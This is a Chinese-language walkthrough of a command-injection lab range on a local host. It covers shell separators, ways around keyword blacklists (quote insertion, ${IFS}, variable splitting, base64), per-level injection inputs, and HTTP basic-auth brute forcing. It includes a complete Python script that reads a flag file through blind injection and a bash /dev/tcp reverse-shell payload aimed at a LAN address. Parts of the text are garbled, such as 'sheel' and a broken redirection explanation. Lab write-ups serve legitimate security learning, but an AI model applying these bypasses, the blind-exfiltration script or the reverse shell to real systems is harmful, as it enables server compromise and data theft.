命令注入与sql注入,XSS漏洞相似。都是由于程序员的逻辑漏洞。没有考虑周全所导致的。常在执行系统命令的Web程序中
sheel1 | sheel2
当sheel执行成功的结果是sheel2的参数
sheel1&&sheel2
当sheel1执行成功的时候执行sheel2,当sheel1执行失败则不执行sheel2
sheel1 || sheel2
当sheel执行成功之后则不执行sheel2,反之执行sheel2
sheel1;sheel2;sheel3;
一个个的去执行,当sheel1执行完毕之后执行Shee2,然后sheel3
sheel1&sheel2
连续两个都执行
%0a
换行符
%0d
回车符
${IFS}
空格符
${9}
空字符串
${PS2}
">"符号
${PS4}
"+"符号
重定向>符
sheel1>sheel2
将sheel的结果作为sheel2的参数,替换sheel2中的内容。
重定向<符
sheel1
sheel1的命令sheel2中读取
重定向<<<符
cmd<<
将abc和后面的换行作为输入传递给cmd命令
或许后端过滤了一些关键字,比如cat,flag等关键字,我们可以在他中间插入特殊字符。
c’‘at fl’'ag
ca"“t fl”"ag
c\at fla\g
c${9}at fla${9}g
还可以使用base64编码
注:引号必须成对出现,相当于中间插入了一个空字符也就是${9}
a=c;b=at;c=fl;d=ag;$a$b $c$d
这样也可以绕过黑名单。
Low级别的应该啥都没有做防御,可以使用||,&&,;等符号进行注入。去获取服务器的ip信息。
中等级别可以继续使用or(||)或者and(&&)等命令去碰,试试看能否绕过。
最后查看源码发现他只绕过了and(&&)符和连续符两个字符。
High级别他应该过滤的更严格,我们可以一个个的去猜,看看能否碰到一两个逃脱了的黑名单。
尝试输入||结果成功的绕过他了。
查看源代码发现他是以数组的方式过滤的,他刚好只过滤了一个|还剩了一个|也就是管道符,所以我们可以绕过。
通过源码发现
尝试输入** 127.0.0.1&& whoami**结果提示需要输入base64编码。
然后再尝试将代码进行base64转换。结果成功了说明他暂时还没有进行过滤等操作
尝试输入127.0.0.1&&ls发现没有回显内容。
尝试很多次不行,然后还是通过源码分析一波,发现执行参数哪里有一个漏洞。
我们可以利用单引号哪里做注入,将命令给用单引号引起来,让他成为一个命令,而不是参数。尝试发现成功了。
发现还是没有回显内容。这时候只能又去打开源码分析一波,发现同单引号一样,但是这次变成了双引号。
还是那样吧,先尝试一下输入内容
发现他提示允许输入空格。所以这关应该是空格绕过。然后我们使用一些空格字符绕过。成功。
因为这里只能查看一行记录,所以我们需要改变参数一行行的仔细查看。下面是一些方法的参数。
head参数
head -n <行数> filename 显示文件内容的前n行;
例如:head -n 5 file1 显示文件file1的前5行内容
head -c <字节> filename 显示文件内容的前n个字节;
例如:head -c 20 file2 显示文件file2的前20个字节内容
tail参数
tail file1 显示文件file1的尾部10行内容;
tail -n <行数> filename 显示文件尾部的n行内容;
例如:tail -n 5 file1 显示文件file1的末尾5行内容
tail -c <字节数> filename 显示文件尾部的n个字节内容;
例如:tail -c 20 file2 显示文件file2的末尾20个字节
这关是黑名单绕过,所以一个个的去试,看看有没有漏网之鱼。所以试了大概五六七八下吧,就成功了。
然后去查看源代码发现只做了几个符号的过滤。
打开攻击页面,它提示MD5hash值,所以这关应该是利用md5方式。然后发现好像不是md5加密之后值。
之后尝试不成功还是打开查看源代码。发现他是在输出后面在进行加密。
所以我们在输入的后面将转换成为md5值那个函数给注释掉。
打开这个界面,但是他提醒需要登录。
使用burp进行抓包查看里面的参数。
抓到里面一个用base64编码加密的字符串。我们使用解密工具进行解密,可与看到他是用户名:密码形式的。
所以我们可以进行爆破。可以用bp进行爆破也可以用python脚本进行爆破。
反正爆破出来的结果是admin:admin。利用这个进行登录,登录成功。
这下终于进入了命令注入攻击界面,可以先尝试一下是否做了防御。测试发现啥都没做。
ps:我们感觉应该不是这么做的。这题的题目是http认证,应该绕过http认证,但是实在不知道怎么做。
这题好像也不会,还是让它占一行看下一题吧
输入一个错误的ip,查看他的提示是down。
在尝试输入127.0.0.1&&cat flag提示也是running。可以发现他应该是一个盲注。
看到是盲注然后不得不在去补一点知识面了
linux系统中的判断语句
if [ 1 = 1 ];then echo 1 fi
if [ 1 = 1];then echo 1;else echo 2;fi
特别注意:括号与参数之间有一个空格,等式两边也有空格。
然后就是补充cut方法了
-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
-c :以字符为单位进行分割。
-d :自定义分隔符,默认为制表符。
-f :与-d一起使用,指定显示哪个区域。
-n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的
范围之内,该字符将被写出;否则,该字符将被排除
回归正题,利用上面的if语句,构造判断然后一步步的去猜解,但是我觉得有点费时间,所以还是写个脚本吧。
获取flag文件内容长度。
获取flag文件内容。
完整代码。
import requests
import string
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",}
site = "http://192.168.178.141:80/"
def burp():
url = "{}scenarios/regular/GET/blind.php?addr=".format(site)
strings = string.ascii_letters+string.digits
strings += "{}_-`~!@#$%^&*()+"
flag_length = 0
i = 7
while True:
length_url = url + "127.0.0.1;x=$(cat flag);if [ ${0} = {1} ];then echo 1;else ping a;fi".format("{%23x}", i)
length_res = requests.get(url=length_url, headers=headers)
if "running" in length_res.text:
print("----长度为:{}".format(i))
flag_length = i
break
else:
print("长度不是{}".format(i))
i += 1
flag = ""
for i in range(1,flag_length + 1):
for j in strings:
flag_url = "{}127.0.0.1;x=$(cut -c {} flag);if [ ${} = '{}' ];then echo 1;else ping a;fi ".format(url,i,"x",j)
flag_res = requests.get(url=flag_url, headers=headers)
if "running" in flag_res.text:
flag += j
print(flag)
break
print("flag值为:{}".format(flag))
if __name__ == '__main__':
burp()
ps:我承认因为脚本运行太慢了,所以改了一些参数,包括flag值,但是这个脚本除了运行慢点其他的修改的参数哪些都是对的。
他还是原样输出了结果,我们在试试使用闭合,将内容函数闭合掉。
发现双引号没有回显的内容,说明双引号成功闭合,我们在试试构造phpinfo()函数进行测试。
还是没有内容回显,应该还没完全闭合掉,所以我们可以在试试单引号,分号这些闭合。
使用分号后好像内容有点显现,我们加上phpinfo()试试。
成功打开phpinfo()页面内容。
我们在构造系统命令ls命令进行查看目录文件。
成功拿到他的flag值。
如果这么说的话我们岂不是可以上传反弹shell的内容进行反向侦听呢?
payload:bash -i >& /dev/tcp/192.168.178.249/6666 0>&1
但是换了一种方法就成功了,将反向监听给弄成python脚本文件,就可以监听了。
详情去看反弹shell
这题与上题类似,但是将代码编译成base64编码。
有空在做吧!拜啦!